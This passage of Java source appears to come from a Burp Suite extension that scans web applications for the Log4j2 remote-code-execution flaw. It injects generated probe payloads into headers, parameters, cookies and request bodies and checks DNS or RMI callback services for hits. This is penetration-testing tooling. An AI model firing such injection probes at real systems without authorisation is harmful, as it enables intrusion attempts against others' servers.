281 | exp = helper.urlEncode(exp);
282 | exp = urlencodeForTomcat(exp);
283 | inHeader = true;
284 | break;
285 | case IParameter.PARAM_BODY:
286 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_FORM, true))
287 | continue;
288 | exp = helper.urlEncode(exp);
289 | exp = urlencodeForTomcat(exp);
290 | break;
291 | case IParameter.PARAM_JSON:
292 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_JSON, true))
293 | continue;
294 | break;
295 | case IParameter.PARAM_MULTIPART_ATTR:
296 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_MULTIPART, true))
297 | continue;
298 | break;
299 | case IParameter.PARAM_XML:
300 | case IParameter.PARAM_XML_ATTR:
301 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_XML, true))
302 | continue;
303 | break;
304 | }
305 | if (inHeader) {
306 | IParameter newParam = helper.buildParameter(param.getName(), exp, param.getType());
307 | tmpRawRequest = helper.updateParameter(tmpRawRequest, newParam);
308 | } else {
309 | paramMap.put(paramsIndex++, new ParamReplace(
310 | param.getValueStart() - tmpReqInfo.getBodyOffset() + skipLength,
311 | param.getValueEnd() - tmpReqInfo.getBodyOffset() + skipLength,
312 | exp));
313 | skipLength += exp.length() - (param.getValueEnd() - param.getValueStart());
314 | }
315 | domainParamMap.put(tmpDomain, param);
316 | }
317 | tmpRawRequest = helper.buildHttpMessage(helper.analyzeRequest(tmpRawRequest).getHeaders(), updateParams(rawBody, paramMap));
318 | IHttpRequestResponse tmpReq = parent.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), tmpRawRequest);
319 | for (Map.Entry domainHeader : domainHeaderMap.entrySet()) {
320 | domainMap.put(domainHeader.getValue(), new ScanItem(domainHeader.getKey(), tmpReq));
321 | }
322 | for (Map.Entry domainParam : domainParamMap.entrySet()) {
323 | domainMap.put(domainParam.getKey(), new ScanItem(domainParam.getValue(), tmpReq));
324 | }
325 | } catch (Exception ex) {
326 | parent.stdout.println(ex);
327 | }
328 | }
329 |
330 |
331 | return domainMap;
332 | }
333 |
334 | private byte[] updateParams(byte[] rawBody, Map paramMap) {
335 | byte[] body = rawBody;
336 | for (int i = 0; i < paramMap.size(); i++) {
337 | ParamReplace paramReplace = paramMap.get(i);
338 | body = Utils.Replace(body, new int[]{paramReplace.Start, paramReplace.End}, paramReplace.Payload.getBytes(StandardCharsets.UTF_8));
339 | }
340 | return body;
341 | }
342 |
343 | private Map headerFuzz(IHttpRequestResponse baseRequestResponse, IRequestInfo req) {
344 | List headers = req.getHeaders();
345 | Map domainMap = new HashMap<>();
346 | try {
347 | byte[] rawRequest = baseRequestResponse.getRequest();
348 | List guessHeaders = new ArrayList(Arrays.asList(HEADER_GUESS));
349 | for (int i = 1; i < headers.size(); i++) {
350 | HttpHeader header = new HttpHeader(headers.get(i));
351 | if (Arrays.stream(HEADER_BLACKLIST).noneMatch(h -> h.equalsIgnoreCase(header.Name))) {
352 | List needSkipheader = guessHeaders.stream().filter(h -> h.equalsIgnoreCase(header.Name)).collect(Collectors.toList());
353 | needSkipheader.forEach(guessHeaders::remove);
354 | for (IPOC poc : getSupportedPOCs()) {
355 | List tmpHeaders = new ArrayList<>(headers);
356 | String tmpDomain = backend.getNewPayload();
357 | header.Value = poc.generate(tmpDomain);
358 | tmpHeaders.set(i, header.toString());
359 | byte[] tmpRawRequest = helper.buildHttpMessage(tmpHeaders, Arrays.copyOfRange(rawRequest, req.getBodyOffset(), rawRequest.length));
360 | IHttpRequestResponse tmpReq = parent.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), tmpRawRequest);
361 | domainMap.put(tmpDomain, new ScanItem(header.Name, tmpReq));
362 | }
363 | }
364 | }
365 | for (IPOC poc : getSupportedPOCs()) {
366 | List tmpHeaders = new ArrayList<>(headers);
367 | Map domainHeaderMap = new HashMap<>();
368 | for (String headerName : guessHeaders) {
369 | String tmpDomain = backend.getNewPayload();
370 | tmpHeaders.add(String.format("%s: %s", headerName, poc.generate(tmpDomain)));
371 | domainHeaderMap.put(headerName, tmpDomain);
372 | }
373 | byte[] tmpRawRequest = helper.buildHttpMessage(tmpHeaders, Arrays.copyOfRange(rawRequest, req.getBodyOffset(), rawRequest.length));
374 | IHttpRequestResponse tmpReq = parent.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), tmpRawRequest);
375 | for (Map.Entry domainHeader : domainHeaderMap.entrySet()) {
376 | domainMap.put(domainHeader.getValue(), new ScanItem(domainHeader.getKey(), tmpReq));
377 | }
378 | }
379 |
380 | } catch (Exception ex) {
381 | parent.stdout.println(ex);
382 | }
383 | return domainMap;
384 | }
385 |
386 | private Map badJsonFuzz(IHttpRequestResponse baseRequestResponse, IRequestInfo req) {
387 | Map domainMap = new HashMap<>();
388 | boolean canFuzz = false;
389 | List rawHeaders = req.getHeaders();
390 | List tmpHeaders = new ArrayList<>(rawHeaders);
391 | for (int i = 1; i < rawHeaders.size(); i++) {
392 | HttpHeader header = new HttpHeader(rawHeaders.get(i));
393 | if (header.Name.equalsIgnoreCase("content-type")) { //has content-type header, maybe accept application/json?
394 | header.Value = "application/json;charset=UTF-8";
395 | tmpHeaders.set(i, header.toString());
396 | canFuzz = true;
397 | }
398 | }
399 | if (canFuzz) {
400 | for (IPOC poc : getSupportedPOCs()) {
401 | String tmpDomain = backend.getNewPayload();
402 | String exp = poc.generate(tmpDomain);
403 | String finalPaylad = String.format("{\"%s\":%d%s%d}", //try to create a bad-json.
404 | Utils.GetRandomString(Utils.GetRandomNumber(3, 10)),
405 | Utils.GetRandomNumber(100, Integer.MAX_VALUE),
406 | exp,
407 | Utils.GetRandomNumber(100, Integer.MAX_VALUE));
408 | IParameter fakeParam = helper.buildParameter("Bad-json Fuzz", exp, IParameter.PARAM_JSON);
409 | byte[] newRequest = helper.buildHttpMessage(tmpHeaders, finalPaylad.getBytes(StandardCharsets.UTF_8));
410 | IHttpRequestResponse tmpReq = parent.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), newRequest);
411 | domainMap.put(tmpDomain, new ScanItem(fakeParam, tmpReq));
412 | }
413 | }
414 | return domainMap;
415 | }
416 |
417 | private Map paramsFuzz(IHttpRequestResponse baseRequestResponse, IRequestInfo req) {
418 | Map domainMap = new HashMap<>();
419 | byte[] rawRequest = baseRequestResponse.getRequest();
420 | for (IParameter param : req.getParameters()) {
421 | for (IPOC poc : getSupportedPOCs()) {
422 | try {
423 | String tmpDomain = backend.getNewPayload();
424 | byte[] tmpRawRequest;
425 | String exp = poc.generate(tmpDomain);
426 | boolean inHeader = false;
427 | switch (param.getType()) {
428 | case IParameter.PARAM_URL:
429 | if (!Config.getBoolean(Config.ENABLED_FUZZ_URL, true))
430 | continue;
431 | exp = helper.urlEncode(exp);
432 | exp = urlencodeForTomcat(exp);
433 | inHeader = true;
434 | break;
435 | case IParameter.PARAM_COOKIE:
436 | if (!Config.getBoolean(Config.ENABLED_FUZZ_COOKIE, true))
437 | continue;
438 | exp = helper.urlEncode(exp);
439 | exp = urlencodeForTomcat(exp);
440 | inHeader = true;
441 | break;
442 | case IParameter.PARAM_BODY:
443 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_FORM, true))
444 | continue;
445 | exp = helper.urlEncode(exp);
446 | exp = urlencodeForTomcat(exp);
447 | break;
448 | case IParameter.PARAM_JSON:
449 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_JSON, true))
450 | continue;
451 | break;
452 | case IParameter.PARAM_MULTIPART_ATTR:
453 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_MULTIPART, true))
454 | continue;
455 | break;
456 | case IParameter.PARAM_XML:
457 | case IParameter.PARAM_XML_ATTR:
458 | if (!Config.getBoolean(Config.ENABLED_FUZZ_BODY_XML, true))
459 | continue;
460 | break;
461 | }
462 | if (inHeader) {
463 | IParameter newParam = helper.buildParameter(param.getName(), exp, param.getType());
464 | tmpRawRequest = helper.updateParameter(rawRequest, newParam);
465 | } else {
466 | byte[] body = Arrays.copyOfRange(rawRequest, req.getBodyOffset(), rawRequest.length);
467 | boolean isJsonNumber = param.getType() == IParameter.PARAM_JSON && body[param.getValueStart() - req.getBodyOffset() - 1] != 34; // ascii:34 = "
468 | if (isJsonNumber) {
469 | exp = "\"" + exp + "\"";
470 | }
471 | byte[] newBody = Utils.Replace(body, new int[]{param.getValueStart() - req.getBodyOffset(), param.getValueEnd() - req.getBodyOffset()}, exp.getBytes(StandardCharsets.UTF_8));
472 | tmpRawRequest = helper.buildHttpMessage(req.getHeaders(), newBody);
473 | }
474 | IHttpRequestResponse tmpReq = parent.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), tmpRawRequest);
475 | domainMap.put(tmpDomain, new ScanItem(param, tmpReq));
476 | } catch (Exception ex) {
477 | parent.stdout.println(ex);
478 | }
479 | }
480 | }
481 | return domainMap;
482 | }
483 |
484 | private List finalCheck(IHttpRequestResponse baseRequestResponse, IRequestInfo req, Map domainMap) {
485 | List issues = new ArrayList<>();
486 | if (backend.supportBatchCheck()) {
487 | String[] vulPoint = backend.batchCheck(domainMap.keySet().toArray(new String[0]));
488 | for (String domain : vulPoint) {
489 | ScanItem item = domainMap.get(domain);
490 | issues.add(getIssue(baseRequestResponse, req, item));
491 | }
492 | } else {
493 | if (backend.flushCache(domainMap.size())) {
494 | for (Map.Entry domainItem :
495 | domainMap.entrySet()) {
496 | ScanItem item = domainItem.getValue();
497 | boolean hasIssue = backend.CheckResult(domainItem.getKey());
498 | if (hasIssue) {
499 | issues.add(getIssue(baseRequestResponse, req, item));
500 | }
501 | }
502 | } else {
503 | parent.stdout.println("get backend result failed!\r\n");
504 | }
505 | }
506 | return issues;
507 | }
508 |
509 | private Log4j2Issue getIssue(IHttpRequestResponse baseRequestResponse, IRequestInfo req, ScanItem item) {
510 | return new Log4j2Issue(baseRequestResponse.getHttpService(),
511 | req.getUrl(),
512 | new IHttpRequestResponse[]{baseRequestResponse, item.TmpRequest},
513 | "Log4j2 RCE Detected",
514 | String.format("Vulnerable param is \"%s\" in %s.", item.IsHeader ? item.HeaderName : item.Param.getName(), item.IsHeader ? "Header" : getTypeName(item.Param.getType())),
515 | "High");
516 | }
517 |
518 | private String getTypeName(int typeId) {
519 | switch (typeId) {
520 | case IParameter.PARAM_URL:
521 | return "URL";
522 | case IParameter.PARAM_BODY:
523 | return "Body";
524 | case IParameter.PARAM_COOKIE:
525 | return "Cookie";
526 | case IParameter.PARAM_JSON:
527 | return "Body-json";
528 | case IParameter.PARAM_XML:
529 | return "Body-xml";
530 | case IParameter.PARAM_MULTIPART_ATTR:
531 | return "Body-multipart";
532 | case IParameter.PARAM_XML_ATTR:
533 | return "Body-xml-attr";
534 | default:
535 | return "unknown";
536 | }
537 | }
538 |
539 |
540 |
541 | @Override
542 | public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
543 | return 0;
544 | }
545 | }
546 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/Log4j2ScanUIHandler.java:
--------------------------------------------------------------------------------
1 | package burp.ui;
2 |
3 | import burp.BurpExtender;
4 | import burp.IBurpExtender;
5 | import burp.ITab;
6 | import burp.ui.tabs.BackendUIHandler;
7 | import burp.ui.tabs.FuzzUIHandler;
8 | import burp.ui.tabs.POCUIHandler;
9 | import burp.utils.Utils;
10 |
11 | import javax.swing.*;
12 | import java.awt.*;
13 |
14 | public class Log4j2ScanUIHandler implements ITab {
15 | public JTabbedPane mainPanel;
16 | public BurpExtender parent;
17 |
18 | public Log4j2ScanUIHandler(BurpExtender parent) {
19 | this.parent = parent;
20 | this.initUI();
21 | }
22 |
23 | private void initUI() {
24 | this.mainPanel = new JTabbedPane();
25 | BackendUIHandler bui = new BackendUIHandler(parent);
26 | POCUIHandler pui = new POCUIHandler(parent);
27 | FuzzUIHandler fui = new FuzzUIHandler(parent);
28 | this.mainPanel.addTab("Backend", bui.getPanel());
29 | this.mainPanel.addTab("POC", pui.getPanel());
30 | this.mainPanel.addTab("Fuzz", fui.getPanel());
31 | }
32 |
33 | @Override
34 | public String getTabCaption() {
35 | return "Log4j2Scan";
36 | }
37 |
38 | @Override
39 | public Component getUiComponent() {
40 | return mainPanel;
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/tabs/BackendUIHandler.java:
--------------------------------------------------------------------------------
1 | package burp.ui.tabs;
2 |
3 | import burp.BurpExtender;
4 | import burp.utils.Config;
5 | import burp.utils.UIUtil;
6 |
7 | import javax.swing.*;
8 | import javax.swing.border.Border;
9 | import javax.swing.border.EmptyBorder;
10 | import java.awt.*;
11 | import java.awt.event.ItemEvent;
12 | import java.util.ArrayList;
13 |
14 | public class BackendUIHandler {
15 | public enum Backends {
16 | BurpCollaborator, DnslogCN, Ceye, RevSuitDNS, RevSuitRMI, GoDnslog
17 | }
18 |
19 | private BurpExtender parent;
20 | private JPanel mainPanel;
21 |
22 | public JTabbedPane backendsPanel;
23 | private JComboBox backendSelector;
24 | private JTextField ceyeIdentifierInput;
25 | private JTextField ceyeTokenInput;
26 |
27 | private JTextField revSuitRMIAdminURL;
28 | private JTextField revSuitRMIAddr;
29 | private JTextField revSuitRMIToken;
30 |
31 | private JTextField revSuitDNSAdminURL;
32 | private JTextField revSuitDNSDomain;
33 | private JTextField revSuitDNSToken;
34 |
35 | private JTextField GoDnslogAdminURL;
36 | private JTextField GoDnslogIdentifierInput;
37 | private JTextField GoDnslogTokenInput;
38 | private Insets buttonMargin = new Insets(0, 3, 0, 3);
39 |
40 |
41 | public BackendUIHandler(BurpExtender parent) {
42 | this.parent = parent;
43 | }
44 |
45 | public JPanel getPanel() {
46 | mainPanel = new JPanel();
47 | mainPanel.setAlignmentX(0.0f);
48 | mainPanel.setBorder(new EmptyBorder(10, 10, 10, 10));
49 | mainPanel.setLayout(new BoxLayout(mainPanel, 1));
50 | JPanel panel1 = UIUtil.GetXJPanel();
51 | backendSelector = new JComboBox(GetBackends());
52 | backendSelector.setMaximumSize(backendSelector.getPreferredSize());
53 | backendSelector.setSelectedIndex(0);
54 |
55 | JButton applyBtn = new JButton("Apply");
56 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
57 | applyBtn.addActionListener(e -> {
58 | Config.set(Config.CURRENT_BACKEND, backendSelector.getSelectedItem().toString());
59 | this.apply();
60 | });
61 | applyBtn.setMargin(buttonMargin);
62 | panel1.add(new JLabel("Use backend: "));
63 | panel1.add(backendSelector);
64 | panel1.add(applyBtn);
65 |
66 | JPanel panel2 = UIUtil.GetXJPanel();
67 | backendsPanel = new JTabbedPane();
68 | backendsPanel.addTab("Ceye", getCeyePanel());
69 | backendsPanel.addTab("RevSuitRMI", getRevSuitRMIPanel());
70 | backendsPanel.addTab("RevSuitDNS", getRevSuitDNSPanel());
71 | backendsPanel.addTab("GoDnslog", getGodnslogPanel());
72 | panel2.add(backendsPanel);
73 |
74 | mainPanel.add(panel1);
75 | mainPanel.add(panel2);
76 | loadConfig();
77 | return mainPanel;
78 | }
79 |
80 | private void apply() {
81 | parent.reloadScanner();
82 | if (parent.scanner.getState()) {
83 | JOptionPane.showMessageDialog(mainPanel, "Apply success!");
84 | } else {
85 | JOptionPane.showMessageDialog(mainPanel, "Apply failed, please go to plug-in log see detail!");
86 | }
87 | }
88 |
89 | private JPanel getCeyePanel() {
90 | JPanel panel1 = new JPanel();
91 | panel1.setAlignmentX(0.0f);
92 | panel1.setBorder(new EmptyBorder(10, 10, 10, 10));
93 | panel1.setLayout(new BoxLayout(panel1, 1));
94 |
95 | JPanel subPanel1 = UIUtil.GetXJPanel();
96 | ceyeIdentifierInput = new JTextField(200);
97 | ceyeIdentifierInput.setMaximumSize(ceyeIdentifierInput.getPreferredSize());
98 | subPanel1.add(new JLabel("Identifier: "));
99 | subPanel1.add(ceyeIdentifierInput);
100 |
101 |
102 | JPanel subPanel2 = UIUtil.GetXJPanel();
103 | ceyeTokenInput = new JTextField(200);
104 | ceyeTokenInput.setMaximumSize(ceyeTokenInput.getPreferredSize());
105 | subPanel2.add(new JLabel("API Token: "));
106 | subPanel2.add(ceyeTokenInput);
107 |
108 | JPanel subPanel3 = UIUtil.GetXJPanel();
109 | JButton saveBtn = new JButton("Save");
110 | saveBtn.setMaximumSize(saveBtn.getPreferredSize());
111 | saveBtn.addActionListener(e -> {
112 | Config.set(Config.CEYE_IDENTIFIER, ceyeIdentifierInput.getText());
113 | Config.set(Config.CEYE_TOKEN, ceyeTokenInput.getText());
114 | JOptionPane.showMessageDialog(mainPanel, "Save success!");
115 | });
116 | JButton applyBtn = new JButton("Save&Apply");
117 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
118 | applyBtn.addActionListener(e -> {
119 | saveBtn.doClick();
120 | Config.set(Config.CURRENT_BACKEND, Backends.Ceye.name());
121 | this.loadConfig();
122 | this.apply();
123 | });
124 | saveBtn.setMargin(buttonMargin);
125 | applyBtn.setMargin(buttonMargin);
126 | subPanel3.add(saveBtn);
127 | subPanel3.add(applyBtn);
128 |
129 | panel1.add(subPanel1);
130 | panel1.add(subPanel2);
131 | panel1.add(subPanel3);
132 | return panel1;
133 | }
134 |
135 |
136 | private JPanel getRevSuitRMIPanel() {
137 | JPanel panel1 = new JPanel();
138 | panel1.setAlignmentX(0.0f);
139 | panel1.setBorder(new EmptyBorder(10, 10, 10, 10));
140 | panel1.setLayout(new BoxLayout(panel1, 1));
141 |
142 | JPanel subPanel1 = UIUtil.GetXJPanel();
143 | revSuitRMIAdminURL = new JTextField(200);
144 | revSuitRMIAdminURL.setMaximumSize(revSuitRMIAdminURL.getPreferredSize());
145 | subPanel1.add(new JLabel("RevSuit Admin URL: "));
146 | subPanel1.add(revSuitRMIAdminURL);
147 |
148 | JPanel subPanel2 = UIUtil.GetXJPanel();
149 | revSuitRMIAddr = new JTextField(200);
150 | revSuitRMIAddr.setMaximumSize(revSuitRMIAddr.getPreferredSize());
151 | subPanel2.add(new JLabel("RevSuit RMI Addr: "));
152 | subPanel2.add(revSuitRMIAddr);
153 |
154 | JPanel subPanel3 = UIUtil.GetXJPanel();
155 | revSuitRMIToken = new JTextField(200);
156 | revSuitRMIToken.setMaximumSize(revSuitRMIToken.getPreferredSize());
157 | subPanel3.add(new JLabel("RevSuit Token: "));
158 | subPanel3.add(revSuitRMIToken);
159 |
160 | JPanel subPanel4 = UIUtil.GetXJPanel();
161 | JButton saveBtn = new JButton("Save");
162 | saveBtn.setMaximumSize(saveBtn.getPreferredSize());
163 | saveBtn.addActionListener(e -> {
164 | Config.set(Config.REVSUIT_RMI_ADMIN_URL, revSuitRMIAdminURL.getText());
165 | Config.set(Config.REVSUIT_RMI_ADDR, revSuitRMIAddr.getText());
166 | Config.set(Config.REVSUIT_RMI_TOKEN, revSuitRMIToken.getText());
167 | JOptionPane.showMessageDialog(mainPanel, "Save success!");
168 | });
169 | JButton applyBtn = new JButton("Save&Apply");
170 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
171 | applyBtn.addActionListener(e -> {
172 | saveBtn.doClick();
173 | Config.set(Config.CURRENT_BACKEND, Backends.RevSuitRMI.name());
174 | this.loadConfig();
175 | this.apply();
176 | });
177 | saveBtn.setMargin(buttonMargin);
178 | applyBtn.setMargin(buttonMargin);
179 | subPanel4.add(saveBtn);
180 | subPanel4.add(applyBtn);
181 |
182 | panel1.add(subPanel1);
183 | panel1.add(subPanel2);
184 | panel1.add(subPanel3);
185 | panel1.add(subPanel4);
186 | return panel1;
187 | }
188 |
189 | private JPanel getRevSuitDNSPanel() {
190 | JPanel panel1 = new JPanel();
191 | panel1.setAlignmentX(0.0f);
192 | panel1.setBorder(new EmptyBorder(10, 10, 10, 10));
193 | panel1.setLayout(new BoxLayout(panel1, 1));
194 |
195 | JPanel subPanel1 = UIUtil.GetXJPanel();
196 | revSuitDNSAdminURL = new JTextField(200);
197 | revSuitDNSAdminURL.setMaximumSize(revSuitDNSAdminURL.getPreferredSize());
198 | subPanel1.add(new JLabel("RevSuit Admin URL: "));
199 | subPanel1.add(revSuitDNSAdminURL);
200 |
201 | JPanel subPanel2 = UIUtil.GetXJPanel();
202 | revSuitDNSDomain = new JTextField(200);
203 | revSuitDNSDomain.setMaximumSize(revSuitDNSDomain.getPreferredSize());
204 | subPanel2.add(new JLabel("RevSuit Domain Root: "));
205 | subPanel2.add(revSuitDNSDomain);
206 |
207 | JPanel subPanel3 = UIUtil.GetXJPanel();
208 | revSuitDNSToken = new JTextField(200);
209 | revSuitDNSToken.setMaximumSize(revSuitDNSToken.getPreferredSize());
210 | subPanel3.add(new JLabel("RevSuit Token: "));
211 | subPanel3.add(revSuitDNSToken);
212 |
213 | JPanel subPanel4 = UIUtil.GetXJPanel();
214 | JButton saveBtn = new JButton("Save");
215 | saveBtn.setMaximumSize(saveBtn.getPreferredSize());
216 | saveBtn.addActionListener(e -> {
217 | Config.set(Config.REVSUIT_DNS_ADMIN_URL, revSuitDNSAdminURL.getText());
218 | Config.set(Config.REVSUIT_DNS_DOMAIN, revSuitDNSDomain.getText());
219 | Config.set(Config.REVSUIT_DNS_TOKEN, revSuitDNSToken.getText());
220 | JOptionPane.showMessageDialog(mainPanel, "Save success!");
221 | });
222 | JButton applyBtn = new JButton("Save&Apply");
223 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
224 | applyBtn.addActionListener(e -> {
225 | saveBtn.doClick();
226 | Config.set(Config.CURRENT_BACKEND, Backends.RevSuitDNS.name());
227 | this.loadConfig();
228 | this.apply();
229 | });
230 | saveBtn.setMargin(buttonMargin);
231 | applyBtn.setMargin(buttonMargin);
232 | subPanel4.add(saveBtn);
233 | subPanel4.add(applyBtn);
234 |
235 | panel1.add(subPanel1);
236 | panel1.add(subPanel2);
237 | panel1.add(subPanel3);
238 | panel1.add(subPanel4);
239 | return panel1;
240 | }
241 |
242 | private JPanel getGodnslogPanel() {
243 | JPanel panel1 = new JPanel();
244 | panel1.setAlignmentX(0.0f);
245 | panel1.setBorder(new EmptyBorder(10, 10, 10, 10));
246 | panel1.setLayout(new BoxLayout(panel1, 1));
247 |
248 | JPanel subPanel4 = UIUtil.GetXJPanel();
249 | GoDnslogAdminURL = new JTextField(200);
250 | GoDnslogAdminURL.setMaximumSize(revSuitDNSAdminURL.getPreferredSize());
251 | subPanel4.add(new JLabel("Godnslog Admin URL: "));
252 | subPanel4.add(GoDnslogAdminURL);
253 |
254 | JPanel subPanel1 = UIUtil.GetXJPanel();
255 | GoDnslogIdentifierInput = new JTextField(200);
256 | GoDnslogIdentifierInput.setMaximumSize(GoDnslogIdentifierInput.getPreferredSize());
257 | subPanel1.add(new JLabel("Identifier: "));
258 | subPanel1.add(GoDnslogIdentifierInput);
259 |
260 |
261 | JPanel subPanel2 = UIUtil.GetXJPanel();
262 | GoDnslogTokenInput = new JTextField(200);
263 | GoDnslogTokenInput.setMaximumSize(GoDnslogTokenInput.getPreferredSize());
264 | subPanel2.add(new JLabel("API Token: "));
265 | subPanel2.add(GoDnslogTokenInput);
266 |
267 | JPanel subPanel3 = UIUtil.GetXJPanel();
268 | JButton saveBtn = new JButton("Save");
269 | saveBtn.setMaximumSize(saveBtn.getPreferredSize());
270 | saveBtn.addActionListener(e -> {
271 | Config.set(Config.GODNSLOG_IDENTIFIER, GoDnslogIdentifierInput.getText());
272 | Config.set(Config.GODNSLOG_TOKEN, GoDnslogTokenInput.getText());
273 | JOptionPane.showMessageDialog(mainPanel, "Save success!");
274 | });
275 | JButton applyBtn = new JButton("Save&Apply");
276 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
277 | applyBtn.addActionListener(e -> {
278 | saveBtn.doClick();
279 | Config.set(Config.CURRENT_BACKEND, Backends.GoDnslog.name());
280 | this.loadConfig();
281 | this.apply();
282 | });
283 | saveBtn.setMargin(buttonMargin);
284 | applyBtn.setMargin(buttonMargin);
285 | subPanel3.add(saveBtn);
286 | subPanel3.add(applyBtn);
287 |
288 | panel1.add(subPanel4);
289 | panel1.add(subPanel1);
290 | panel1.add(subPanel2);
291 | panel1.add(subPanel3);
292 | return panel1;
293 | }
294 |
295 | private void loadConfig() {
296 | backendSelector.setSelectedItem(Config.get(Config.CURRENT_BACKEND, Backends.BurpCollaborator.name()));
297 |
298 | ceyeIdentifierInput.setText(Config.get(Config.CEYE_IDENTIFIER));
299 | ceyeTokenInput.setText(Config.get(Config.CEYE_TOKEN));
300 |
301 | revSuitRMIAdminURL.setText(Config.get(Config.REVSUIT_RMI_ADMIN_URL));
302 | revSuitRMIAddr.setText(Config.get(Config.REVSUIT_RMI_ADDR));
303 | revSuitRMIToken.setText(Config.get(Config.REVSUIT_RMI_TOKEN));
304 |
305 | revSuitDNSAdminURL.setText(Config.get(Config.REVSUIT_DNS_ADMIN_URL));
306 | revSuitDNSDomain.setText(Config.get(Config.REVSUIT_DNS_DOMAIN));
307 | revSuitDNSToken.setText(Config.get(Config.REVSUIT_DNS_TOKEN));
308 |
309 | GoDnslogIdentifierInput.setText(Config.get(Config.GODNSLOG_IDENTIFIER));
310 | GoDnslogTokenInput.setText(Config.get(Config.GODNSLOG_TOKEN));
311 | GoDnslogAdminURL.setText(getAdminUrl());
312 | }
313 |
314 | public String getAdminUrl() {
315 | String adminUrl = Config.get(Config.GODNSLOG_ADMIN_URL, null);
316 | if (adminUrl == null && Config.get(Config.GODNSLOG_IDENTIFIER, null) != null) {
317 | adminUrl = "http://" + Config.get(Config.GODNSLOG_IDENTIFIER);
318 | }
319 | return adminUrl;
320 | }
321 |
322 | private String[] GetBackends() {
323 | ArrayList algStrs = new ArrayList();
324 | Backends[] backends = Backends.values();
325 | for (Backends backend : backends) {
326 | algStrs.add(backend.name().replace('_', '/'));
327 | }
328 | return algStrs.toArray(new String[algStrs.size()]);
329 | }
330 | }
331 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/tabs/FuzzUIHandler.java:
--------------------------------------------------------------------------------
1 | package burp.ui.tabs;
2 |
3 | import burp.BurpExtender;
4 | import burp.utils.Config;
5 | import burp.utils.UIUtil;
6 |
7 | import javax.swing.*;
8 | import javax.swing.border.EmptyBorder;
9 | import java.util.ArrayList;
10 |
11 | public class FuzzUIHandler {
12 | private BurpExtender parent;
13 | private JPanel mainPanel;
14 |
15 | private JTabbedPane settingsPanel;
16 |
17 | private JComboBox fuzzModeSelector;
18 | private JComboBox scanModeSelector;
19 | private JCheckBox enabled_fuzz_header;
20 | private JCheckBox enabled_fuzz_url;
21 | private JCheckBox enabled_fuzz_body;
22 | private JCheckBox enabled_fuzz_cookie;
23 | private JCheckBox enabled_fuzz_body_form;
24 | private JCheckBox enabled_fuzz_body_json;
25 | private JCheckBox enabled_fuzz_body_xml;
26 | private JCheckBox enabled_fuzz_body_multipart;
27 | private JCheckBox enabled_fuzz_bad_json;
28 |
29 | public FuzzUIHandler(BurpExtender parent) {
30 | this.parent = parent;
31 | }
32 |
33 | public JPanel getPanel() {
34 | mainPanel = new JPanel();
35 | mainPanel.setAlignmentX(0.0f);
36 | mainPanel.setBorder(new EmptyBorder(10, 10, 10, 10));
37 | mainPanel.setLayout(new BoxLayout(mainPanel, 1));
38 |
39 |
40 | settingsPanel = new JTabbedPane();
41 | settingsPanel.addTab("Basic", getFuzzSettingPanel());
42 | mainPanel.add(settingsPanel);
43 | loadConfig();
44 | return mainPanel;
45 | }
46 |
47 | public JPanel getFuzzSettingPanel() {
48 | JPanel panel1 = new JPanel();
49 | panel1.setAlignmentX(0.0f);
50 | panel1.setBorder(new EmptyBorder(10, 10, 10, 10));
51 | panel1.setLayout(new BoxLayout(panel1, 1));
52 |
53 | JPanel subPanel0 = UIUtil.GetXJPanel();
54 | fuzzModeSelector = new JComboBox(GetFuzzModes());
55 | fuzzModeSelector.setMaximumSize(fuzzModeSelector.getPreferredSize());
56 | fuzzModeSelector.setSelectedIndex(0);
57 | subPanel0.add(new JLabel("Fuzz Mode: "));
58 | subPanel0.add(fuzzModeSelector);
59 |
60 | JPanel subPanel10 = UIUtil.GetXJPanel();
61 | scanModeSelector = new JComboBox(GetScanModes());
62 | scanModeSelector.setMaximumSize(scanModeSelector.getPreferredSize());
63 | scanModeSelector.setSelectedIndex(0);
64 | subPanel10.add(new JLabel("Scan Mode: "));
65 | subPanel10.add(scanModeSelector);
66 |
67 | JPanel subPanel1 = UIUtil.GetXJPanel();
68 | enabled_fuzz_header = new JCheckBox("Enable Header Fuzz");
69 | subPanel1.add(enabled_fuzz_header);
70 |
71 | JPanel subPanel2 = UIUtil.GetXJPanel();
72 | enabled_fuzz_url = new JCheckBox("Enable Url Fuzz");
73 | subPanel2.add(enabled_fuzz_url);
74 |
75 | JPanel subPanel3 = UIUtil.GetXJPanel();
76 | enabled_fuzz_cookie = new JCheckBox("Enable Cookie Fuzz");
77 | subPanel3.add(enabled_fuzz_cookie);
78 |
79 | JPanel subPanel4 = UIUtil.GetXJPanel();
80 | enabled_fuzz_body = new JCheckBox("Enable Body Fuzz");
81 | enabled_fuzz_body.addActionListener(e -> {
82 | if (enabled_fuzz_body.isSelected()) {
83 | enabled_fuzz_body_form.setEnabled(true);
84 | enabled_fuzz_body_json.setEnabled(true);
85 | enabled_fuzz_body_xml.setEnabled(true);
86 | enabled_fuzz_body_multipart.setEnabled(true);
87 | enabled_fuzz_bad_json.setEnabled(true);
88 | } else {
89 | enabled_fuzz_body_form.setSelected(false);
90 | enabled_fuzz_body_json.setSelected(false);
91 | enabled_fuzz_body_xml.setSelected(false);
92 | enabled_fuzz_body_multipart.setSelected(false);
93 | enabled_fuzz_bad_json.setSelected(false);
94 | enabled_fuzz_body_form.setEnabled(false);
95 | enabled_fuzz_body_json.setEnabled(false);
96 | enabled_fuzz_body_xml.setEnabled(false);
